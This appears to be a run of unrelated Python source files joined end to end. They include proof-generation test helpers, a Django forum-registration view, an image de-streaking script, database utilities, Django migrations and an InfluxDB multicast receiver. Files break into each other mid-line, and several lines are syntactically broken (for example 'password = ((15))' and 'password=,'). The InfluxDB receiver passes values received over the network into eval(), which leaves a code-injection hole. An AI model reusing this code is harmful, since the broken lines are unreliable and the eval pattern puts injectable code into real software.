"{}_epoch_{}_{}_proof".format(self._get_proofs_dir(id), epoch_number, file_prefix) args = [] args.append(os.getenv("ZENDOOMC", os.path.join(self.srcdir, "zendoo/mcTest"))) args += ["create", str(circ_type), str(self.ps_type), str(proof_path), str(params_dir), str(segment_size)] args += [str(scid), str(epoch_number), str(quality)] if constant is not None: args.append(str(constant)) args += [str(end_cum_comm_tree_root), str(int(round(btr_fee * COIN))), str(int(round(ft_min_amount * COIN)))] args.append(str(num_constraints)) args.append(str(len(pks))) for (pk, amount) in zip(pks, amounts): args.append(str(pk)) args.append(str(int(round(amount * COIN)))) #codebase works in satoshi args.append(str(len(custom_fields))) for custom_field in custom_fields: args.append(str(custom_field)) subprocess.check_call(args) return self._get_proof(proof_path) class CSWTestUtils(MCTestUtils): def __init__(self, datadir, srcdir, ps_type = "cob_marlin"): MCTestUtils.__init__(self, datadir, srcdir, ps_type) def _get_file_prefix(self, circ_type): return str(self.ps_type) + "_" + circ_type + "_" def generate_params(self, id, circ_type = "csw", num_constraints = 1 << 10, segment_size = 1 << 9): file_prefix = self._get_file_prefix(circ_type) return self._generate_params(id, circ_type, self.ps_type, file_prefix, num_constraints, segment_size) def create_test_proof(self, id, amount, sc_id, nullifier, mc_pk_hash, end_cum_comm_tree_root, cert_data_hash = None, constant = None, num_constraints = 1 << 10, segment_size = 1 << 9): if constant is not None: circ_type = "csw" else: circ_type = "csw_no_const" file_prefix = self._get_file_prefix(circ_type) params_dir = self._get_params_dir(id) if not os.path.isfile(params_dir + file_prefix + "test_pk") or not os.path.isfile(params_dir + file_prefix + "test_vk"): return proof_path = "{}_addr_{}_{}_proof".format(self._get_proofs_dir(id), mc_pk_hash, file_prefix) args = [] args.append(os.getenv("ZENDOOMC", os.path.join(self.srcdir, "zendoo/mcTest"))) args += ["create", str(circ_type), str(self.ps_type), str(proof_path), str(params_dir), str(segment_size)] args += [str(int(round(amount * COIN))), str(sc_id), str(nullifier), str(mc_pk_hash), str(end_cum_comm_tree_root), str(num_constraints)] if cert_data_hash is not None: args.append(str(cert_data_hash)) else: args.append(str("NO_CERT_DATA_HASH")) if constant is not None: args.append(str(constant)) subprocess.check_call(args) return self._get_proof(proof_path) def get_field_element_with_padding(field_element, sidechain_version): FIELD_ELEMENT_STRING_SIZE = 32 * 2 if sidechain_version == 0: return field_element.rjust(FIELD_ELEMENT_STRING_SIZE, "0") elif sidechain_version == 1: return field_element.ljust(FIELD_ELEMENT_STRING_SIZE, "0") else: assert(False)#!/usr/bin/python2.7 # combiner.py import sys counter = 0 prev_decade = "" partial_rate = 0.0 for line in sys.stdin: line = line.strip() decade, rate = line.split("\t", 1) rate = float(rate) if prev_decade == decade: partial_rate += rate counter += 1 else: if counter != 0: print(prev_decade + "_" + str(counter) + "\t" + str(partial_rate)) counter = 1 partial_rate = rate prev_decade = decade else: prev_decade = decade partial_rate = rate counter = 1 if prev_decade != "": print(prev_decade + "_" + str(counter) + "\t" + str(partial_rate))1-10 import os import json import binascii import subprocess from django.db import connections from django.http import HttpResponse from django.shortcuts import render from django.contrib.auth.decorators import login_required from starbowmodweb.user.forms import RegistrationForm from starbowmodweb.user.models import User from django.conf import settings from django.db import transaction from starbowmodweb import utils # import the logging library import logging # Get an instance of a logger logger = logging.getLogger(__name__) class MyBBError(Exception): pass def sync_users(): cursor = connections['mybb'].cursor() cursor.execute("SELECT uid, username, loginkey, email FROM mybb_users") users = utils.dictfetchall(cursor) for mybb_user in users: try: User.objects.get(email=mybb_user['email']) print("Found {}".format(mybb_user['email'])) except User.DoesNotExist: print("Creating {}".format(mybb_user['email'])) password = _(os.ur(15)) User.objects.create_user(mybb_user['username'], mybb_user['email'], password) def create_forum_account(user, password): """ Takes email address and username; returns a uid """ if settings.MYBB_BRIDGE_PATH: cmd = ['php', settings.MYBB_BRIDGE_PATH, user.email, user.username, password] output = subprocess.check_output(cmd) return json.loads(output.decode('utf8')) def user_register(request): if request.method == 'POST': form = RegistrationForm(request.POST) if form.is_valid(): username = form.cleaned_data['username'] email = form.cleaned_data['email'] password = ((15)) try: with transaction.atomic(): user = User.objects.create_user(username, email, password) forum_data = create_forum_account(user, password) if forum_data['status'] == 'failure': raise MyBBError(forum_data['data']) else: profile = user.profile profile.mybb_uid = forum_data['data']['uid'] profile.mybb_loginkey = forum_data['data']['loginkey'] profile.save() return render(request, 'user/register_success.html', dict( email=email, username=username )) except MyBBError as e: # Alert the administrators logger.error("MyBB account creation failure: {}".format(e)) return render(request, 'user/register_failure.html', dict( email=email, username=username, messages=str(e), )) else: form = RegistrationForm() return render(request, 'user/register.html', dict(form=form)) @login_required def user_home(request): return render(request, 'user/home.html', dict(CLIENT_URLS=settings.CLIENT_URLS)) def api_user_info(request): if request.user.is_authenticated(): data = { 'id': request.user.id, 'username': request.user.username, 'token': request.user.authtoken, 'success': True } else: data = { 'success': False } response = HttpResponse(json.dumps(data), mimetype='application/json') return response """ 面试题61：扑克牌中的顺子 题目：从扑克牌中随机抽5张牌，判断是不是一个顺子，即5张牌是不是连续的。 2~10为数字本身，A为1，J为11，Q为12，K为13，而大、小王可以看成任意数字。 """ def continuous_cards(cards): """ :param cards: list represents cards :return: is continuous """ cards.sort() joker = 0 for card in cards: if card == 0: joker += 1 else: break if joker > 2: raise Exception('impossible combo') for i in range(joker+1,5): if cards[i] - cards[i - 1] != 1: joker -= (cards[i] - cards[i - 1] - 1) if joker < 0: return False return True print(continuous_cards([ 1, 2, 3, 5, 0]))1-10 #!/usr/bin/python3 # A sample script for evaluating pretrained de-streaker in chainer import argparse import concurrent.futures import numpy as np from typing import Tuple from chainer import Chain from chainer.functions import relu from chainer.links import Convolution2D from nnimgproc import load_model, build_tester from nnimgproc.backend.chainer import Model, to_device from nnimgproc.dataset import ImageSingleton from nnimgproc.processor import ModelProcessor from nnimgproc.util.image import write from nnimgproc.util.math import gaussian_kernel from nnimgproc.util.parameters import Parameters # Define a image to patch to image pipeline in a ModelProcessor class DestreakingModelProcessor(ModelProcessor): """ Divide the image into patches, denoise each patch and assemble them with a gaussian window of SD sigma. """ def __init__(self, patch: int, stride: int, sigma: float, batch_size: int=32, device=-1, workers: int=1): """ :param patch: int, size of image patches to be processed :param stride: int, stride for dividing the image :param sigma: float, SD of the gaussian window :param batch_size: int, minibatch size for processing :param device: int, index of the device, -1 for GPU and positive for GPU :param workers: int, number of threads """ super(DestreakingModelProcessor, self).__init__() self._patch = patch self._stride = stride self._sigma = sigma self._batch_size = batch_size self._device = device self._workers = workers def __call__(self, img: np.ndarray, meta: Parameters, model: Model) \ -> np.ndarray: shape = img.shape assert shape[2] == 1, 'De-streaking only works on greyscale images.' channels = 1 self._weight_window = np.zeros((self._patch, self._patch, channels)) for i in range(channels): self._weight_window[:, :, i] = gaussian_kernel(self._patch, self._sigma) # Count the number of patches on the image. # If the patches as cannot cover the whole image, the model will go # through all corner cases, e.g. bottom and right border, hence extra +1 hor_count = (shape[0] - self._patch) // self._stride + 1 + 1 ver_count = (shape[1] - self._patch) // self._stride + 1 + 1 patch_count = hor_count * ver_count def get_coordinates(idx: int) -> Tuple[int, int]: hor = min(idx % hor_count * self._stride, shape[0] - self._patch) ver = min(idx // hor_count * self._stride, shape[1] - self._patch) return hor, ver # Allocate a size that is a multiple of batch size alloc_count = (patch_count + self._batch_size - 1) \ // self._batch_size * self._batch_size # Follow the input requirement of chainer, channel is in front batches = np.zeros((alloc_count, channels, self._patch, self._patch), np.float32) positions = [get_coordinates(i) for i in range(patch_count)] y = np.zeros_like(img) weight = np.zeros_like(img) def divide(idx): hor, ver = positions[idx] batches[idx][0] = img[hor: hor + self._patch, ver: ver + self._patch, 0] with concurrent.futures.ThreadPoolExecutor(max_workers=self._workers) \ as executor: executor.map(divide, range(patch_count)) for i in range(alloc_count // self._batch_size): x_batch = batches[self._batch_size * i: self._batch_size * (i + 1)] x_batch = to_device(x_batch, device=self._device) y_batch = to_device(model.model(x_batch).data, device=-1).data for j in range(self._batch_size): idx = i * self._batch_size + j if idx >= patch_count: break hor, ver = positions[idx] y[hor: hor + self._patch, ver: ver + self._patch, :] += \ np.moveaxis(y_batch[j], 0, -1) * self._weight_window weight[hor: hor + self._patch, ver: ver + self._patch, :] += \ self._weight_window assert weight.min() > 0, 'Divided by 0 is not accepted, use smoother ' \ 'Gaussian window, e.g. increase sigma' return (y / weight).clip(0, 1) # The definition should be the same as in the training script, at least for # the member variables. The __call__ function can be different as it doesn't # need any pretrained parameters. class CNN(Chain): def __init__(self): super(CNN, self).__init__() with self.init_scope(): self._conv1 = Convolution2D(1, 16, 5, stride=1, pad=2) self._conv2 = Convolution2D(16, 16, 3, stride=1, pad=1) self._conv3 = Convolution2D(16, 1, 5, stride=1, pad=2) # We don't need the target y when doing evaluation def __call__(self, x): h = relu(self._conv1(x)) h = relu(self._conv2(h)) h = self._conv3(h) return h def main(): parser = argparse.ArgumentParser() parser.add_argument('--model', type=str, default='results', required=True, help='Folder containing the pretrained model.') parser.add_argument('--device', type=int, default=-1, help='Number of GPU device, -1 for CPU') parser.add_argument('--input', type=str, required=True, help='Path to the noisy image.') parser.add_argument('--meta', type=str, help='Path to the meta file.') parser.add_argument('--output', type=str, default='results/result.png', help='Path to the output file.') parser.add_argument('--patch', type=int, default=65, help='Patch size for the input.') parser.add_argument('--minibatch', type=int, default=32, help='Size of minibatch.') parser.add_argument('--workers', type=int, default=1, help='Parallel batch generation.') args = parser.parse_args() # Load the image dataset = ImageSingleton(path=args.input, shape=(128, 128), as_grey=True) # Load the pretrained model chain = CNN() model = load_model(model=chain, path=args.model, backend='chainer') if args.device >= 0: model.model.to_gpu(args.device) # Define ModelProcessor patch = args.patch stride = 5 sigma = 24 model_processor = DestreakingModelProcessor(patch, stride, sigma, batch_size=args.minibatch, device=args.device, workers=args.workers) # Create a trainer tester = build_tester(model, model_processor) meta = Parameters() meta.load(args.meta) output = tester.eval(dataset.get(), meta) write(output, args.output) if __name__ == '__main__': main() from binascii import hexlify, unhexlify from base64 import b64encode, b64decode hex_string = '49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d' b64_string = b64encode(unhexlify(hex_string)) print(b64_string) from typing import Dict from videoanalyst.data.utils.crop_track_pair import crop_track_pair from ..transformer_base import TRACK_TRANSFORMERS, TransformerBase @TRACK_TRANSFORMERS.register class RandomCropTransformer(TransformerBase): r""" Cropping training pair with data augmentation (random shift / random scaling) Hyper-parameters ---------------- context_amount: float the context factor for template image max_scale: float the max scale change ratio for search image max_shift: float the max shift change ratio for search image max_scale_temp: float the max scale change ratio for template image max_shift_temp: float the max shift change ratio for template image z_size: int output size of template image x_size: int output size of search image """ default_hyper_params = dict( context_amount=0.5, max_scale=0.3, max_shift=0.4, max_scale_temp=0.0, max_shift_temp=0.0, z_size=127, x_size=303, ) def __init__(self, seed: int = 0) -> None: super(RandomCropTransformer, self).__init__(seed=seed) def __call__(self, sampled_data: Dict) -> Dict: r""" sampled_data: Dict() input data Dict(data1=Dict(image, anno), data2=Dict(image, anno)) """ data1 = sampled_data["data1"] data2 = sampled_data["data2"] im_temp, bbox_temp = data1["image"], data1["anno"] im_curr, bbox_curr = data2["image"], data2["anno"] im_z, bbox_z, im_x, bbox_x, _, _ = crop_track_pair( im_temp, bbox_temp, im_curr, bbox_curr, config=self._hyper_params, rng=self._state["rng"]) sampled_data["data1"] = dict(image=im_z, anno=bbox_z) sampled_data["data2"] = dict(image=im_x, anno=bbox_x) return sampled_data ## # This software was developed and / or modified by Raytheon Company, # pursuant to Contract DG133W-05-CQ-1067 with the US Government. # # U.S. EXPORT CONTROLLED TECHNICAL DATA # This software product contains export-restricted data whose # export/transfer/disclosure is restricted by U.S. law. Dissemination # to non-U.S. persons whether in the United States or abroad requires # an export license or other authorization. # # Contractor Name: # Contractor Address: 6825 Pine Street, Suite 340 # Mail Stop B8 # Omaha, NE 68106 # 402.291.0100 # # See the AWIPS II Master Rights File ("Master Rights File.pdf") for # further licensing information. ## import logging import Avn, AvnParser, AvnLib import TafDecoder import JUtil _Logger = logging.getLogger(Avn.CATEGORY) _DecoderCache = { 'value' : Avn.Bunch(header=None, text=None, dcd=None) } # # Entry point for Java on monitoring # # # SOFTWARE HISTORY # # Date Ticket# Engineer Description # ------------ ---------- ----------- -------------------------- # 08/24/09 njensen Initial Creation. # # # ## # This is a base file that is not intended to be overridden. ## def monitor(request): taf = decodeTaf(request.getTaf(), request.getWmoHeader()) if taf.dcd.has_key('fatal'): _Logger.error(taf.dcd['fatal']) return JUtil.pyValToJavaObj({'fatal': taf.dcd['fatal']}) monitorModuleName = request.getCfg().getClassName() monitorModule = __import__(monitorModuleName) info = AvnParser.getTafSiteCfg(request.getSiteID()) m = transformCfg(monitorModule, request) monitor = monitorModule.Monitor(info, m) result = {'ident': info['ident'], 'taf': taf, \ 'newtaf': False, 'status': {}} result['taf'].hourly = AvnLib.TafData( \ result['taf'].dcd['group']) result['status'] = monitor.compare(result['taf']) result = bunchToDict(result) if result['taf'].has_key('hourly'): hourly = result['taf']['hourly'] result['taf']['hourly'] = None return JUtil.pyValToJavaObj(result) def bunchToDict(d): for i in d: if type(d[i]) is Avn.Bunch: d[i] = d[i].__dict__ if type(d[i]) is dict: d[i] = bunchToDict(d[i]) return d def transformCfg(module, req): from com.raytheon.uf.common.util import StringUtil m = {'module':module} cfg = req.getCfg() it = StringUtil.split(cfg.getMonitorItems(), ",") lb = StringUtil.split(cfg.getMonitorLabels(), ",") items = [] labels = {} for i in range(len(it)): item = it[i] items.append(item) labels[item] = lb[i] m['labels'] = labels m['items'] = items if req.getArgs(): args = req.getArgs() itr = args.keySet().iterator() while itr.hasNext(): key = itr.next() val = int(str(args.get(key))) m[str(key)] = val return m def decodeTaf(taf, wmoHeader): if taf != _DecoderCache['value'].text \ or wmoHeader != _DecoderCache['value'].header : try: bbb = wmoHeader.split()[3] except IndexError: bbb = ' ' decoder = TafDecoder.Decoder() dcd = decoder(taf, bbb) _DecoderCache['value'] = Avn.Bunch(header=wmoHeader, text=taf, dcd=dcd) return _DecoderCache['value'] ShineyDev/github from github.repository.topic import * from github.repository.topic import __all__ as _topic__all__ __all__ = [ *_topic__all__, ] amnona/dbBact #!/usr/bin/env python # amnonscript import argparse from dbbact_server.utils import debug, SetDebugLevel from dbbact_server import db_access import sys __version__ = "1.0" def add_primer_to_annotations(con, cur, update_all=False, commit=True): '''Update the primerID field in the AnnotationsTable according to the sequences in the annotation Parameters ---------- update_all: bool, optional if True, update all annotations. If False, update only annotations with 'na' (primerID=0) in the primerId field) commit: bool, optional True to commit changes to database ''' if update_all: cur.execute('SELECT id FROM AnnotationsTable') else: cur.execute('SELECT id FROM AnnotationsTable WHERE PrimerID=0') res = cur.fetchall() idx = 0 for idx, cres in enumerate(res): cid = cres['id'] cur.execute('SELECT seqID from SequencesAnnotationTable WHERE annotationID=%s', [cid]) res2 = cur.fetchall() cprimerid = None for cres2 in res2: cseqid = cres2['seqid'] cur.execute('SELECT idPrimer from SequencesTable WHERE id=%s LIMIT 1', [cseqid]) res3 = cur.fetchone() if cprimerid is None: cprimerid = res3['idprimer'] if res3['idprimer'] != cprimerid: debug(8, 'annotation %d contains sequences from two different regions' % cid) cprimerid = None break if cprimerid is None: debug(7, "didn't find primer region for annotation %d. skipping" % cid) continue debug(2, 'annotation %d primer region %d' % (cid, cprimerid)) cur.execute('UPDATE AnnotationsTable SET primerID=%s WHERE id=%s', [cprimerid, cid]) debug(3, 'found %d annotations' % idx) if commit: debug(3, 'committing changes to database') con.commit() debug(3, 'finished') def main(argv): parser = argparse.ArgumentParser(description='add_primer_to_annotations.py version %s\nupdate the primer region on the dbbact annotations' % __version__, formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('--port', help='postgres port', default=5432, type=int) parser.add_argument('--host', help='postgres host', default=None) parser.add_argument('--database', help='postgres database', default='dbbact') parser.add_argument('--user', help='postgres user', default='dbbact') parser.add_argument('--password', help='postgres password', default='') parser.add_argument('--log-level', help='output level (1 verbose, 10 error)', type=int, default=3) parser.add_argument('--all', help='update all annotations (if not specified, update only annotations with na in primer)', action='store_true') args = parser.parse_args(argv) SetDebugLevel(args.log_level) con, cur = db_access.connect_db(database=args.database, user=args.user, password=, port=args.port, host=args.host) add_primer_to_annotations(con, cur, update_all=args.all) if __name__ == "__main__": main(sys.argv[1:]) 1-10 # This Memory is devoted to the single-processor PIM from m5.params import * from SimpleMemory import * class ethz_PIMMemory(SimpleMemory): type = 'ethz_PIMMemory' cxx_header = "mem/ethz_pim_memory.hh" PIM_ADDRESS_BASE = Param.Int(0, "Base address of the PIM device (Absolute Address)"); PIM_DEBUG_ADDR = Param.Int(0, "PIM Debug Register (Absolute Address)"); PIM_ERROR_ADDR = Param.Int(0, "PIM Error Register (Absolute Address)"); PIM_INTR_ADDR = Param.Int(0, "PIM Error Register (Absolute Address)"); PIM_COMMAND_ADDR = Param.Int(0, "PIM Command Register (Absolute Address)"); PIM_STATUS_ADDR = Param.Int(0, "PIM Status Register (Absolute Address)"); PIM_SLICETABLE_ADDR = Param.Int(0, "Register Storing the Address of the Slice Table (Absolute Address)"); PIM_SLICECOUNT_ADDR = Param.Int(0, "Register Storing the Number of the Slices(Absolute Address)"); PIM_SLICEVSTART_ADDR = Param.Int(0, "Register Storing the Virtual Address of the First Slice(Absolute Address)"); PIM_M5_ADDR = Param.Int(0, "Register for sending commands to gem5 (debugging purposes)"); PIM_M5_D1_ADDR = Param.Int(0, "Register for sending data to gem5 (debugging purposes)"); PIM_M5_D2_ADDR = Param.Int(0, "Register for sending data to gem5 (debugging purposes)"); PIM_VREG_ADDR = Param.Int(0, "Vector Register File"); PIM_VREG_SIZE = Param.Int(0, "Size of the Vector Register File (Bytes)"); PIM_SREG_ADDR = Param.Int(0, "Scalar Register File"); PIM_SREG_COUNT = Param.Int(0, "Number of the Scalar Registers"); PIM_DTLB_IDEAL_REFILL_ADDR = Param.Int(0, "Register for the ideal TLB prefetcher"); SYSTEM_NUM_CPU = Param.Int(0, "Number of CPUs in the system (used for cache flush)"); PIM_DMA_MEM_ADDR_ADDR = Param.Int(0, "Memory Virtual Address Register(Absolute Address)"); PIM_DMA_SPM_ADDR_ADDR = Param.Int(0, "Local Physical Address"); PIM_DMA_NUMBYTES_ADDR = Param.Int(0, "Number of words to transfer using DMA (Absolute Address)"); PIM_DMA_COMMAND_ADDR = Param.Int(0, "DMA Command Register(Absolute Address)"); PIM_DMA_CLI_ADDR = Param.Int(0, "DMA Clear Interrupt Register(Absolute Address)"); PIM_COPROCESSOR_CMD_ADDR = Param.Int(0, "Command to the PIM Coprocessor"); pim_arch = Param.Int(32, "Determine whether PIM is a 32b (ARMv7-a) or a 64b (ARMv8-a) processor"); HMC_ATOMIC_INCR_ADDR = Param.Int(0, "Sending atomic command to the HMC"); python/15-function-file-write-read.py #Fonksiyonlu kayıt ekleme, silme, düzenleme, arama, listeleme (Tam doğru değil.) # -*- coding: cp1254 -*- def Mkayit(kod,ads,adr,tel,bom,ack): MusDos = open("mus.dat","a") MusDos.write(kod+" "+ads+" "+adr+" "+tel+" "+bom+" "+ack+"\n") MusDos.close() print "\n \n Müşteri Kayıt YAZILDI. \n \n" def Mara(kelimeara): dosyadaara = open("mus.dat", "r") for line in dosyadaara: if kelimeara in line: print line dosyadaara.close() print "\n \n Müşteri Kayıt OKUNDU. \n \n" def Msil(mkelime): f = open("mus.dat","r") lines = f.readlines() f.close() f = open("mus.dat","w") for line in lines: if line!=mkelime+"\n": f.write(line) f.close() print "\n \n Müşteri Kayıt SİLİNDİ. \n \n" def Mduzelt(mkelimed,kod,ads,adr,tel,bom,ack): f = open("mus.dat","r") lines = f.readlines() f.close() f = open("mus.dat","w") for line in lines: if line!=mkelimed+"\n": f.write(line) else: f.write(kod+" "+ads+" "+adr+" "+tel+" "+bom+" "+ack+"\n") f.close() print "\n \n Müşteri Kayıt DÜZELTİLDİ. \n \n"# -*- coding: utf-8 -*- # Generated by Django 1.11.28 on 2020-03-22 14:03 from __future__ import unicode_literals from django.db import migrations, models import uuid def create_uuid(apps, schema_editor): SQLInvitation = apps.get_model('users', 'SQLInvitation') for invitation in SQLInvitation.objects.all(): invitation.uuid = uuid.uuid4() invitation.save() class Migration(migrations.Migration): dependencies = [ ('users', '0010_populate_usersinvitation'), ] operations = [ migrations.AddField( model_name='sqlinvitation', name='uuid', field=models.UUIDField(db_index=True, null=True) ), migrations.RunPython(create_uuid, reverse_code=migrations.RunPython.noop, elidable=True), migrations.AlterField( model_name='sqlinvitation', name='id', field=models.AutoField(auto_created=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='sqlinvitation', name='uuid', field=models.UUIDField(db_index=True, default=uuid.uuid4, primary_key=True, serialize=False), ) ] 0 from sklearn.metrics import precision_recall_curve y_true = [1,1,0,1,0,0,0,0,1,1] y_pred_prob = [0.5,0.69,0.80,0.9,0.3,0.4,0.6,0.3,0.3,0.60] precision, recall, thresholds = precision_recall_curve(y_true, y_pred_prob) print(precision, recall, thresholds)db_classes/PGReputationDB.py import asyncio import logging from typing import List import asyncpg from config.config import PostGres as pg_config from models.reputation_models import Thank from datetime import datetime, timedelta creation = ( """ CREATE TABLE IF NOT EXISTS thanks ( source_user_id BIGINT, target_user_id BIGINT, channel_id BIGINT, message_id BIGINT, time TIMESTAMPTZ ) """, ) deletion = ( """ DROP TABLE IF EXISTS thanks """, ) logger = logging.getLogger("Referee") # noinspection PyProtectedMember class PGReputationDB: def __init__(self): self.pool = asyncpg.create_pool( host=pg_config.PG_Host, database=pg_config.PG_Database, user=pg_config.PG_User, password= ) asyncio.get_event_loop().run_until_complete(self.create_tables()) async def close(self): """ Closes the connection to the db """ await self.pool.close() async def create_tables(self): """ Creates the tables in the db if they don't exist. This is called on every startup """ self.pool = await self.pool async with self.pool.acquire() as con: for query in creation: await con.execute(query) async def get_user_rep(self, user_id, since=datetime(day=1, month=1, year=2000), until=None): if not until: until = datetime.now() sql = "SELECT COUNT(*) FROM thanks WHERE target_user_id = $1 and time >= $2 and time <= $3" async with self.pool.acquire() as con: results = await con.fetch(sql, user_id, since, until) return results[0][0] async def add_thank(self, new_thank: Thank): sql = "INSERT INTO thanks (source_user_id, target_user_id, channel_id, message_id, time) VALUES($1, $2, $3, $4, $5)" async with self.pool.acquire() as con: await con.execute(sql, new_thank.source_user_id, new_thank.target_user_id, new_thank.channel_id, new_thank.message_id, new_thank.timestamp) async def get_thanks(self, since=datetime(day=1, month=1, year=2000), until=None, source_user_id=None, target_user_id=None) -> List[Thank]: if not until: until = datetime(day=1,month=1,year=3000) async with self.pool.acquire() as con: if source_user_id and target_user_id: sql = "SELECT * FROM thanks WHERE time >= $1 AND time <= $2 AND source_user_id = $3 AND target_user_id = $4 ORDER BY time" fetch = con.fetch(sql, since, until, source_user_id, target_user_id) elif source_user_id: sql = "SELECT * FROM thanks WHERE time >= $1 AND time <= $2 AND source_user_id = $3 ORDER BY time" fetch = con.fetch(sql, since, until, source_user_id) elif target_user_id: sql = "SELECT * FROM thanks WHERE time >= $1 AND time <= $2 AND target_user_id = $3 ORDER BY time" fetch = con.fetch(sql, since, until, target_user_id) else: sql = "SELECT * FROM thanks WHERE time >= $1 AND time <= $2 ORDER BY time" fetch = con.fetch(sql, since, until) results = [Thank(source_user_id=r["source_user_id"], target_user_id=r["target_user_id"], message_id=r["message_id"], channel_id=r["channel_id"], timestamp=r["time"]) for r in await fetch] return results async def get_leaderboard(self, since=datetime(day=1, month=1, year=2000), until=None): if not until: until = datetime.now() thanks = await self.get_thanks(since, until) if not thanks: return [] member_scores = {user_id: [t.target_user_id for t in thanks].count(user_id) for user_id in set(t.target_user_id for t in thanks)} sorted_user_ids = sorted(member_scores, key=member_scores.get, reverse=True) ranked_scores = {score: i + 1 for i, score in enumerate(sorted(set(member_scores.values()), reverse=True))} leaderboard = [{"user_id": user_id, "score": member_scores.get(user_id), "rank": ranked_scores.get(member_scores.get(user_id))} for user_id in sorted_user_ids] return leaderboard app/core/tests/test_models.py0 from django.test import TestCase from django.contrib.auth import get_user_model class ModelTests(TestCase): def test_create_user_with_email_suc(self): # create new user with an email is successfuly email = '' password = '' user = get_user_model().objects.create_user( email=email, password=password ) self.assertEqual(user.email, email) self.assertTrue(user.check_password(password)) def test_new_user_email_normalized(self): # Test the email for new user is normalized email = '' user = get_user_model().objects.create_user(email, 'test1234') self.assertEqual(user.email, email.lower()) def test_new_user_invalid_email(self): # Test if user email valid with self.assertRaises(ValueError): get_user_model().objects.create_user(None, 'test1234') def test_user_is_created(self): # Test creating a new superuser user = get_user_model().objects.create_superuser( '', 'test123' ) self.assertTrue(user.is_superuser) self.assertTrue(user.is_staff) Arbupa/DAS_SistemasAgo-Dic-2018/David Perez/Practica 2/restaurant.py # Ejercicios 9-1 a 9-2 class restaurant: def __init__(self, restaurant_name, cuisine_type): self.restaurant_name = restaurant_name self.cuisine_type = cuisine_type def __str__(self): return 'Restaurante: {} \nTipo: {}'.format(self.restaurant_name,self.cuisine_type) def open_restaurant(self): print('Restaurante: {} "Abierto" \n'.format(self.restaurant_name)) restaurant_1 = restaurant('Kyourest','Japonesa') restaurant_2 = restaurant('KFC','Rápida') restaurant_3 = restaurant('Little Caesars','Italiana') #Abrir restaurantes restaurant_1.open_restaurant() restaurant_2.open_restaurant() restaurant_3.open_restaurant() print(restaurant_1) print('\n {}'.format(restaurant_2)) print('\n {}'.format(restaurant_3)) """The tcp component.""" DOMAIN = "tcp" PLATFORMS = ["binary_sensor", "sensor"] import argparse import socket import struct import click import json from influxdb import InfluxDBClient from influxdb.exceptions import InfluxDBClientError MCAST_GRP = '192.168.127.12' # This part is the number you put in the json broadcaster UI MCAST_PORT = 8086 class InfluxReceiver: def __init__(self): # Influx connection half self.host = '127.0.0.1' self.port = '8086' self.user = 'indigo' self.password = '' self.database = 'indigo' self.mcastport = str(MCAST_PORT) self.sock = None self.connection = None def connect(self): print(u'Starting socket on port' + str(self.port)) self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) self.sock.bind(('', int(self.mcastport))) mreq = struct.pack("4sl", socket.inet_aton(MCAST_GRP), socket.INADDR_ANY) self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) print(u'Starting influx connection') print(self.host) self.connection = InfluxDBClient( host=self.host, port=int(self.port), username=self.user, password=self.password, database=self.database) print(u'Connecting...') self.connection.create_database(self.database) self.connection.switch_database(self.database) self.connection.create_retention_policy('two_year_policy', '730d', '1') print(u'Influx connection succeeded') def send(self, strwhat, measurement='device_changes'): what = json.loads(strwhat)[0] json_body = [ { 'measurement': what['measurement'], 'tags': what['tags'], 'fields': what['fields'] } ] # print(json.dumps(json_body).encode('utf-8')) # don't like my types? ok, fine, what DO you want? retrylimit = 30 unsent = True while unsent and retrylimit > 0: retrylimit -= 1 try: self.connection.write_points(json_body) unsent = False except InfluxDBClientError as e: #print(str(e)) field = json.loads(e.content)['error'].split('"')[1] #measurement = json.loads(e.content)['error'].split('"')[3] retry = json.loads(e.content)['error'].split('"')[4].split()[7] if retry == 'integer': retry = 'int' if retry == 'string': retry = 'str' # float is already float # now we know to try to force this field to this type forever more try: newcode = '%s("%s")' % (retry, str(json_body[0]['fields'][field])) #print(newcode) json_body[0]['fields'][field] = eval(newcode) except ValueError: print('One of the columns just will not convert to its previous type. This means the database columns are just plain wrong.') except ValueError: print(u'Unable to force a field to the type in Influx - a partial record was still written') except Exception as e: print("Error while trying to write:") print(e) if retrylimit == 0 and unsent: print(u'Unable to force all fields to the types in Influx - a partial record was still written') def run(self): try: # Receive messages while True: data, addr = self.sock.recvfrom(10240) self.send(data) if data == b'stop': print('Client wants me to stop.') break else: print("From addr: '%s', msg: '%s'" % (addr[0], data)) finally: # Close socket self.sock.close() print('Server stopped.') @click.command() @click.option("--influxdb-host", type=str, default="localhost", show_default=True, env="INHOST", help="The influxdb host to connect to.") @click.option("--influxdb-port", type=int, default=8086, show_default=True, env="INPORT", help="The influxdb port to connect to.") @click.option("--influxdb-user", type=int, default="indigo", show_default=True, env="INUSER", help="The influxdb user to connect as.") @click.option("--influxdb-pass", type=str, default="", show_default=True, env="INPASS", help="The influxdb password.") @click.option("--influxdb-database", type=str, default="indigo", show_default=True, env="INDB", help="The influxdb database.") @click.option("--multicastport", "-m", type=int, default=8087, show_default=True, env="MCPORT", help="The multicast port.") def main(influxdb_host, influxdb_port, influxdb_user, influxdb_pass, influxdb_database, multicastport): ir = InfluxReceiver() ir.host = influxdb_host ir.port = influxdb_port ir.user = influxdb_user ir.password = ir.database = influxdb_database ir.mcastport = multicastport ir.connect() ir.run() if __name__ == "__main__": main() class Director: def __init__(self, builder): self.builder = builder def construct(self): self.builder.make_title("Greeting") self.builder.make_string("朝から昼にかけて") self.builder.make_items(["おはようございます。", "こんにちは。"]) self.builder.make_string("夜に") self.builder.make_items(["こんばんは。", "おやすみ。", "さようなら。"]) self.builder.close() multinet/tests/test_bipartite.py import multinet as mn import networkx as nx g1 = nx.Graph() nodes = ['A', 'B', 'C', 'D', 'E'] edges = [('A', 'B'), ('B', 'C'), ('C', 'D'), ('D', 'E'), ('E', 'A')] g1.add_nodes_from(nodes) g1.add_edges_from(edges) g2 = nx.Graph() nodes = ['A', 'B', 'C', 'D', 'E'] edges = [('A', 'C'), ('B', 'D'), ('C', 'E'), ('D', 'A'), ('E', 'B')] g2.add_nodes_from(nodes) g2.add_edges_from(edges) g3 = nx.Graph() nodes = ['A', 'B', 'C', 'D', 'E'] edges = 